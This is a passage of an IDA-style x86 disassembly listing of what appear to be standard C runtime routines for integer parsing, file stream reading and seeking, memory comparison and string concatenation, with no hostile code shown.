var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_4292D0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_42E525
add esp, 10h
leave
retn
sub_429D3E endp
; =============== S U B R O U T I N E =======================================
sub_429D72 proc near ; CODE XREF: sub_42C63D+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_429D89
add esp, 10h
retn
sub_429D72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429D89 proc near ; CODE XREF: sub_429D72+Ep
; sub_429F8E+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_429DA1: ; CODE XREF: sub_429D89+46j
cmp dword_4535A4, 1
jle short loc_429DB9
movzx eax, bl
push 8
push eax
call sub_42F05B
pop ecx
pop ecx
jmp short loc_429DC8
; ---------------------------------------------------------------------------
loc_429DB9: ; CODE XREF: sub_429D89+1Fj
mov ecx, off_453398
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_429DC8: ; CODE XREF: sub_429D89+2Ej
test eax, eax
jz short loc_429DD1
mov bl, [esi]
inc esi
jmp short loc_429DA1
; ---------------------------------------------------------------------------
loc_429DD1: ; CODE XREF: sub_429D89+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_429DDF
or [ebp+arg_C], 2
jmp short loc_429DE4
; ---------------------------------------------------------------------------
loc_429DDF: ; CODE XREF: sub_429D89+4Ej
cmp bl, 2Bh
jnz short loc_429DEA
loc_429DE4: ; CODE XREF: sub_429D89+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_429DEA: ; CODE XREF: sub_429D89+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_429F7E
cmp eax, 1
jz loc_429F7E
cmp eax, 24h
jg loc_429F7E
push 10h
test eax, eax
pop ecx
jnz short loc_429E32
cmp bl, 30h
jz short loc_429E1C
mov [ebp+arg_8], 0Ah
jmp short loc_429E4E
; ---------------------------------------------------------------------------
loc_429E1C: ; CODE XREF: sub_429D89+88j
mov al, [esi]
cmp al, 78h
jz short loc_429E2F
cmp al, 58h
jz short loc_429E2F
mov [ebp+arg_8], 8
jmp short loc_429E4E
; ---------------------------------------------------------------------------
loc_429E2F: ; CODE XREF: sub_429D89+97j
; sub_429D89+9Bj
mov [ebp+arg_8], ecx
loc_429E32: ; CODE XREF: sub_429D89+83j
cmp [ebp+arg_8], ecx
jnz short loc_429E4E
cmp bl, 30h
jnz short loc_429E4E
mov al, [esi]
cmp al, 78h
jz short loc_429E46
cmp al, 58h
jnz short loc_429E4E
loc_429E46: ; CODE XREF: sub_429D89+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_429E4E: ; CODE XREF: sub_429D89+91j
; sub_429D89+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_429E5E: ; CODE XREF: sub_429D89+16Cj
cmp dword_4535A4, 1
movzx esi, bl
jle short loc_429E76
push 4
push esi
call sub_42F05B
pop ecx
pop ecx
jmp short loc_429E81
; ---------------------------------------------------------------------------
loc_429E76: ; CODE XREF: sub_429D89+DFj
mov eax, off_453398
mov al, [eax+esi*2]
and eax, 4
loc_429E81: ; CODE XREF: sub_429D89+EBj
test eax, eax
jz short loc_429E8D
movsx ecx, bl
sub ecx, 30h
jmp short loc_429EBF
; ---------------------------------------------------------------------------
loc_429E8D: ; CODE XREF: sub_429D89+FAj
cmp dword_4535A4, 1
jle short loc_429EA1
push edi
push esi
call sub_42F05B
pop ecx
pop ecx
jmp short loc_429EAC
; ---------------------------------------------------------------------------
loc_429EA1: ; CODE XREF: sub_429D89+10Bj
mov eax, off_453398
mov ax, [eax+esi*2]
and eax, edi
loc_429EAC: ; CODE XREF: sub_429D89+116j
test eax, eax
jz short loc_429EFA
movsx eax, bl
push eax
call sub_42C1A8
pop ecx
mov ecx, eax
sub ecx, 37h
loc_429EBF: ; CODE XREF: sub_429D89+102j
cmp ecx, [ebp+arg_8]
jnb short loc_429EFA
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_429EE4
jnz short loc_429EDE
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_429EE4
loc_429EDE: ; CODE XREF: sub_429D89+147j
or [ebp+arg_C], 4
jmp short loc_429EED
; ---------------------------------------------------------------------------
loc_429EE4: ; CODE XREF: sub_429D89+145j
; sub_429D89+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_429EED: ; CODE XREF: sub_429D89+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_429E5E
; ---------------------------------------------------------------------------
loc_429EFA: ; CODE XREF: sub_429D89+125j
; sub_429D89+139j
mov eax, [ebp+arg_C]
dec [ebp+var_4]
mov ebx, [ebp+arg_4]
test al, 8
jnz short loc_429F17
test ebx, ebx
jz short loc_429F11
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_429F11: ; CODE XREF: sub_429D89+180j
and [ebp+var_8], 0
jmp short loc_429F62
; ---------------------------------------------------------------------------
loc_429F17: ; CODE XREF: sub_429D89+17Cj
test al, 4
mov esi, 7FFFFFFFh
jnz short loc_429F3B
test al, 1
jnz short loc_429F62
and eax, 2
jz short loc_429F32
cmp [ebp+var_8], 80000000h
ja short loc_429F3B
loc_429F32: ; CODE XREF: sub_429D89+19Ej
test eax, eax
jnz short loc_429F62
cmp [ebp+var_8], esi
jbe short loc_429F62
loc_429F3B: ; CODE XREF: sub_429D89+195j
; sub_429D89+1A7j
call sub_42F049
test byte ptr [ebp+arg_C], 1
mov dword ptr [eax], 22h
jz short loc_429F52
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_429F62
; ---------------------------------------------------------------------------
loc_429F52: ; CODE XREF: sub_429D89+1C1j
mov eax, [ebp+arg_C]
and al, 2
neg al
sbb eax, eax
neg eax
add eax, esi
mov [ebp+var_8], eax
loc_429F62: ; CODE XREF: sub_429D89+18Cj
; sub_429D89+199j ...
test ebx, ebx
jz short loc_429F6B
mov eax, [ebp+var_4]
mov [ebx], eax
loc_429F6B: ; CODE XREF: sub_429D89+1DBj
test byte ptr [ebp+arg_C], 2
jz short loc_429F79
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_429F79: ; CODE XREF: sub_429D89+1E6j
mov eax, [ebp+var_8]
jmp short loc_429F89
; ---------------------------------------------------------------------------
loc_429F7E: ; CODE XREF: sub_429D89+66j
; sub_429D89+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_429F87
mov [eax], edi
loc_429F87: ; CODE XREF: sub_429D89+1FAj
xor eax, eax
loc_429F89: ; CODE XREF: sub_429D89+1F3j
pop edi
pop esi
pop ebx
leave
retn
sub_429D89 endp
; =============== S U B R O U T I N E =======================================
sub_429F8E proc near ; CODE XREF: sub_402CBA+37Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_429D89
add esp, 10h
retn
sub_429F8E endp
; =============== S U B R O U T I N E =======================================
sub_429FA5 proc near ; CODE XREF: sub_42A030+4p
; sub_4338E9+1C1p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_429FAD: ; CODE XREF: sub_429FA5+34j
cmp dword_4535A4, 1
jle short loc_429FC5
movzx eax, byte ptr [edi]
push 8
push eax
call sub_42F05B
pop ecx
pop ecx
jmp short loc_429FD4
; ---------------------------------------------------------------------------
loc_429FC5: ; CODE XREF: sub_429FA5+Fj
movzx eax, byte ptr [edi]
mov ecx, off_453398
mov al, [ecx+eax*2]
and eax, 8
loc_429FD4: ; CODE XREF: sub_429FA5+1Ej
test eax, eax
jz short loc_429FDB
inc edi
jmp short loc_429FAD
; ---------------------------------------------------------------------------
loc_429FDB: ; CODE XREF: sub_429FA5+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_429FEB
cmp esi, 2Bh
jnz short loc_429FEF
loc_429FEB: ; CODE XREF: sub_429FA5+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_429FEF: ; CODE XREF: sub_429FA5+44j
xor ebx, ebx
loc_429FF1: ; CODE XREF: sub_429FA5+7Bj
cmp dword_4535A4, 1
jle short loc_42A006
push 4
push esi
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42A011
; ---------------------------------------------------------------------------
loc_42A006: ; CODE XREF: sub_429FA5+53j
mov eax, off_453398
mov al, [eax+esi*2]
and eax, 4
loc_42A011: ; CODE XREF: sub_429FA5+5Fj
test eax, eax
jz short loc_42A022
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_429FF1
; ---------------------------------------------------------------------------
loc_42A022: ; CODE XREF: sub_429FA5+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_42A02B
neg eax
loc_42A02B: ; CODE XREF: sub_429FA5+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_429FA5 endp
; =============== S U B R O U T I N E =======================================
sub_42A030 proc near ; CODE XREF: sub_402CBA+336p
; sub_402CBA+344p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_429FA5
pop ecx
retn
sub_42A030 endp
; =============== S U B R O U T I N E =======================================
sub_42A03B proc near ; CODE XREF: sub_4032A3+B0p
; sub_40A938+4B46p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
test byte ptr [esi+0Ch], 40h
jz short loc_42A050
and dword ptr [esi+0Ch], 0
jmp short loc_42A067
; ---------------------------------------------------------------------------
loc_42A050: ; CODE XREF: sub_42A03B+Dj
push esi
call sub_42C104
push esi
call sub_42A06C
push esi
mov edi, eax
call sub_42C156
add esp, 0Ch
loc_42A067: ; CODE XREF: sub_42A03B+13j
mov eax, edi
pop edi
pop esi
retn
sub_42A03B endp
; =============== S U B R O U T I N E =======================================
sub_42A06C proc near ; CODE XREF: sub_42A03B+1Cp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
test byte ptr [esi+0Ch], 83h
jz short loc_42A0AF
push esi
call sub_42F209
push esi
mov edi, eax
call sub_42F1B0
push dword ptr [esi+10h]
call sub_42F0D0
add esp, 0Ch
test eax, eax
jge short loc_42A09D
or edi, 0FFFFFFFFh
jmp short loc_42A0AF
; ---------------------------------------------------------------------------
loc_42A09D: ; CODE XREF: sub_42A06C+2Aj
mov eax, [esi+1Ch]
test eax, eax
jz short loc_42A0AF
push eax
call sub_429822
and dword ptr [esi+1Ch], 0
pop ecx
loc_42A0AF: ; CODE XREF: sub_42A06C+Dj
; sub_42A06C+2Fj ...
and dword ptr [esi+0Ch], 0
mov eax, edi
pop edi
pop esi
retn
sub_42A06C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A0B8 proc near ; CODE XREF: sub_4032A3+83p
; ?9:0040A38Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push [ebp+arg_C]
call sub_42C104
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42A0E7
push [ebp+arg_C]
mov esi, eax
call sub_42C156
add esp, 18h
mov eax, esi
pop esi
pop ebp
retn
sub_42A0B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A0E7 proc near ; CODE XREF: sub_42A0B8+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_42A10B
xor eax, eax
jmp loc_42A1B4
; ---------------------------------------------------------------------------
loc_42A10B: ; CODE XREF: sub_42A0E7+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_42A11E
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_42A12A
; ---------------------------------------------------------------------------
loc_42A11E: ; CODE XREF: sub_42A0E7+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_42A12A
; ---------------------------------------------------------------------------
loc_42A127: ; CODE XREF: sub_42A0E7+C4j
mov ecx, [ebp+arg_0]
loc_42A12A: ; CODE XREF: sub_42A0E7+35j
; sub_42A0E7+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_42A15C
mov eax, [esi+4]
test eax, eax
jz short loc_42A15C
cmp ecx, eax
mov edi, ecx
jb short loc_42A141
mov edi, eax
loc_42A141: ; CODE XREF: sub_42A0E7+56j
push edi
push dword ptr [esi]
push ebx
call sub_429350
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_42A1A7
; ---------------------------------------------------------------------------
loc_42A15C: ; CODE XREF: sub_42A0E7+49j
; sub_42A0E7+50j
cmp ecx, [ebp+arg_C]
jb short loc_42A18F
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_42A172
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_42A172: ; CODE XREF: sub_42A0E7+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_42F3EE
add esp, 0Ch
test eax, eax
jz short loc_42A1B9
cmp eax, 0FFFFFFFFh
jz short loc_42A1BF
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_42A1A7
; ---------------------------------------------------------------------------
loc_42A18F: ; CODE XREF: sub_42A0E7+78j
push esi
call sub_42F312
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_42A1C3
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_42A1A7: ; CODE XREF: sub_42A0E7+73j
; sub_42A0E7+A6j
cmp [ebp+arg_0], 0
jnz loc_42A127
mov eax, [ebp+arg_8]
loc_42A1B4: ; CODE XREF: sub_42A0E7+1Fj
; sub_42A0E7+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42A1B9: ; CODE XREF: sub_42A0E7+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_42A1C3
; ---------------------------------------------------------------------------
loc_42A1BF: ; CODE XREF: sub_42A0E7+9Fj
or dword ptr [esi+0Ch], 20h
loc_42A1C3: ; CODE XREF: sub_42A0E7+B2j
; sub_42A0E7+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_42A1B4
sub_42A0E7 endp
; =============== S U B R O U T I N E =======================================
sub_42A1CF proc near ; CODE XREF: sub_4032A3+4Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
call sub_42C104
push esi
call sub_42A1F1
push esi
mov edi, eax
call sub_42C156
add esp, 0Ch
mov eax, edi
pop edi
pop esi
retn
sub_42A1CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A1F1 proc near ; CODE XREF: sub_42A1CF+Dp
; sub_42A37E+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_42A20D
mov [edi+4], ebx
loc_42A20D: ; CODE XREF: sub_42A1F1+17j
push 1
push ebx
push esi
call sub_42F7E8
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42A27F
mov ecx, [edi+0Ch]
test cx, 108h
jnz short loc_42A232
sub eax, [edi+4]
jmp loc_42A34D
; ---------------------------------------------------------------------------
loc_42A232: ; CODE XREF: sub_42A1F1+37j
mov eax, [edi]
mov edx, [edi+8]
mov ebx, eax
sub ebx, edx
test cl, 3
mov [ebp+var_8], ebx
jz short loc_42A26F
mov ebx, esi
mov ecx, esi
sar ebx, 5
and ecx, 1Fh
mov ebx, dword_676EC0[ebx*4]
lea ecx, [ecx+ecx*8]
test byte ptr [ebx+ecx*4+4], 80h
jz short loc_42A287
mov ecx, edx
loc_42A260: ; CODE XREF: sub_42A1F1+7Cj
cmp ecx, eax
jnb short loc_42A287
cmp byte ptr [ecx], 0Ah
jnz short loc_42A26C
inc [ebp+var_8]
loc_42A26C: ; CODE XREF: sub_42A1F1+76j
inc ecx
jmp short loc_42A260
; ---------------------------------------------------------------------------
loc_42A26F: ; CODE XREF: sub_42A1F1+50j
test cl, 80h
jnz short loc_42A287
call sub_42F049
mov dword ptr [eax], 16h
loc_42A27F: ; CODE XREF: sub_42A1F1+2Dj
or eax, 0FFFFFFFFh
jmp loc_42A34D
; ---------------------------------------------------------------------------
loc_42A287: ; CODE XREF: sub_42A1F1+6Bj
; sub_42A1F1+71j ...
cmp [ebp+var_4], 0
jnz short loc_42A295
mov eax, [ebp+var_8]
jmp loc_42A34D
; ---------------------------------------------------------------------------
loc_42A295: ; CODE XREF: sub_42A1F1+9Aj
test byte ptr [edi+0Ch], 1
jz loc_42A345
mov ecx, [edi+4]
test ecx, ecx
jnz short loc_42A2AE
and [ebp+var_8], ecx
jmp loc_42A345
; ---------------------------------------------------------------------------
loc_42A2AE: ; CODE XREF: sub_42A1F1+B3j
sub eax, edx
add eax, ecx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
lea ebx, ds:676EC0h[eax*4]
mov eax, esi
and eax, 1Fh
lea esi, [eax+eax*8]
mov eax, [ebx]
shl esi, 2
test byte ptr [esi+eax+4], 80h
jz short loc_42A33F
push 2
push 0
push [ebp+var_C]
call sub_42F7E8
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_42A306
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_42A2F1: ; CODE XREF: sub_42A1F1+10Dj
cmp eax, ecx
jnb short loc_42A300
cmp byte ptr [eax], 0Ah
jnz short loc_42A2FD
inc [ebp+arg_0]
loc_42A2FD: ; CODE XREF: sub_42A1F1+107j
inc eax
jmp short loc_42A2F1
; ---------------------------------------------------------------------------
loc_42A300: ; CODE XREF: sub_42A1F1+102j
test byte ptr [edi+0Dh], 20h
jmp short loc_42A33A
; ---------------------------------------------------------------------------
loc_42A306: ; CODE XREF: sub_42A1F1+F6j
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42F7E8
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_42A32D
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_42A32D
test ch, 4
jz short loc_42A330
loc_42A32D: ; CODE XREF: sub_42A1F1+12Dj
; sub_42A1F1+135j
mov eax, [edi+18h]
loc_42A330: ; CODE XREF: sub_42A1F1+13Aj
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_42A33A: ; CODE XREF: sub_42A1F1+113j
jz short loc_42A33F
inc [ebp+arg_0]
loc_42A33F: ; CODE XREF: sub_42A1F1+E2j
; sub_42A1F1:loc_42A33Aj
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_42A345: ; CODE XREF: sub_42A1F1+A8j
; sub_42A1F1+B8j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_42A34D: ; CODE XREF: sub_42A1F1+3Cj
; sub_42A1F1+91j ...
pop edi
pop esi
pop ebx
leave
retn
sub_42A1F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A352 proc near ; CODE XREF: sub_4032A3+47p
; sub_4032A3+58p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_0]
call sub_42C104
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42A37E
push [ebp+arg_0]
mov esi, eax
call sub_42C156
add esp, 14h
mov eax, esi
pop esi
pop ebp
retn
sub_42A352 endp
; =============== S U B R O U T I N E =======================================
sub_42A37E proc near ; CODE XREF: sub_42A352+15p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_42A3FA
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_42A39D
cmp edi, 1
jz short loc_42A39D
cmp edi, 2
jnz short loc_42A3FA
loc_42A39D: ; CODE XREF: sub_42A37E+13j
; sub_42A37E+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_42A3B4
push esi
call sub_42A1F1
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_42A3B4: ; CODE XREF: sub_42A37E+27j
push esi
call sub_42F209
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_42A3C9
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_42A3DD
; ---------------------------------------------------------------------------
loc_42A3C9: ; CODE XREF: sub_42A37E+42j
test al, 1
jz short loc_42A3DD
test al, 8
jz short loc_42A3DD
test ah, 4
jnz short loc_42A3DD
mov dword ptr [esi+18h], 200h
loc_42A3DD: ; CODE XREF: sub_42A37E+49j
; sub_42A37E+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_42F7E8
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_42A408
; ---------------------------------------------------------------------------
loc_42A3FA: ; CODE XREF: sub_42A37E+Bj
; sub_42A37E+1Dj
call sub_42F049
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_42A408: ; CODE XREF: sub_42A37E+7Aj
pop edi
pop esi
retn
sub_42A37E endp
; =============== S U B R O U T I N E =======================================
sub_42A40B proc near ; CODE XREF: sub_42A43C+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
call sub_42FA30
mov esi, eax
test esi, esi
jnz short loc_42A419
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A419: ; CODE XREF: sub_42A40B+Aj
push edi
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_42F8C0
push esi
mov edi, eax
call sub_42C156
add esp, 14h
mov eax, edi
pop edi
pop esi
retn
sub_42A40B endp
; =============== S U B R O U T I N E =======================================
sub_42A43C proc near ; CODE XREF: sub_4032A3+31p
; ?9:0040A26Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42A40B
add esp, 0Ch
retn
sub_42A43C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42A450 proc near ; CODE XREF: sub_4044BE+1Dp
; sub_4044F6+34Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_42A49C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_42A49D
test eax, 1
jz short loc_42A47D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_42A4CA
inc esi
inc edi
dec eax
jz short loc_42A49A
loc_42A47D: ; CODE XREF: sub_42A450+20j
; sub_42A450+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_42A4CA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_42A4CA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_42A47D
loc_42A49A: ; CODE XREF: sub_42A450+2Bj
; sub_42A450+84j
pop edi
pop esi
locret_42A49C: ; CODE XREF: sub_42A450+6j
retn
; ---------------------------------------------------------------------------
loc_42A49D: ; CODE XREF: sub_42A450+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_42A4D2
repe cmpsd
jz short loc_42A4D2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_42A4C5
cmp ch, dh
jnz short loc_42A4C5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_42A4C5
cmp ch, dh
loc_42A4C5: ; CODE XREF: sub_42A450+63j
; sub_42A450+67j ...
mov eax, 0
loc_42A4CA: ; CODE XREF: sub_42A450+26j
; sub_42A450+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A4D2: ; CODE XREF: sub_42A450+55j
; sub_42A450+59j
test eax, eax
jz short loc_42A49A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_42A4C5
dec eax
jz short loc_42A4F9
cmp dh, ch
jnz short loc_42A4C5
dec eax
jz short loc_42A4F9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_42A4C5
dec eax
loc_42A4F9: ; CODE XREF: sub_42A450+8Fj
; sub_42A450+96j
pop edi
pop esi
retn
sub_42A450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42A500 proc near ; CODE XREF: sub_4044F6+18Ep
; sub_4044F6+9EAp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_42A571
sub_42A500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42A510 proc near ; CODE XREF: sub_40A938+2673p
; sub_40A938+2697p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_42A52C
loc_42A51D: ; CODE XREF: sub_42A510+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_42A55F
test ecx, 3
jnz short loc_42A51D
loc_42A52C: ; CODE XREF: sub_42A510+Bj
; sub_42A510+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_42A52C
mov eax, [ecx-4]
test al, al
jz short loc_42A56E
test ah, ah
jz short loc_42A569
test eax, 0FF0000h
jz short loc_42A564
test eax, 0FF000000h
jz short loc_42A55F
jmp short loc_42A52C
; ---------------------------------------------------------------------------
loc_42A55F: ; CODE XREF: sub_42A510+12j
; sub_42A510+4Bj
lea edi, [ecx-1]
jmp short loc_42A571
; ---------------------------------------------------------------------------
loc_42A564: ; CODE XREF: sub_42A510+44j
lea edi, [ecx-2]
jmp short loc_42A571
; ---------------------------------------------------------------------------
loc_42A569: ; CODE XREF: sub_42A510+3Dj
lea edi, [ecx-3]
jmp short loc_42A571
; ---------------------------------------------------------------------------
loc_42A56E: ; CODE XREF: sub_42A510+39j
lea edi, [ecx-4]
loc_42A571: ; CODE XREF: sub_42A500+5j
; sub_42A510+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_42A596
loc_42A57D: ; CODE XREF: sub_42A510+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_42A5E8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_42A57D
jmp short loc_42A596
; ---------------------------------------------------------------------------
loc_42A591: ; CODE XREF: sub_42A510+9Ej
; sub_42A510+B8j
mov [edi], edx
add edi, 4
loc_42A596: ; CODE XREF: sub_42A510+6Bj
; sub_42A510+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_42A591
test dl, dl
jz short loc_42A5E8
test dh, dh
jz short loc_42A5DF
test edx, 0FF0000h
jz short loc_42A5D2
test edx, 0FF000000h
jz short loc_42A5CA
jmp short loc_42A591
; ---------------------------------------------------------------------------
loc_42A5CA: ; CODE XREF: sub_42A510+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_42A5D2: ; CODE XREF: sub_42A510+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_42A5DF: ; CODE XREF: sub_42A510+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
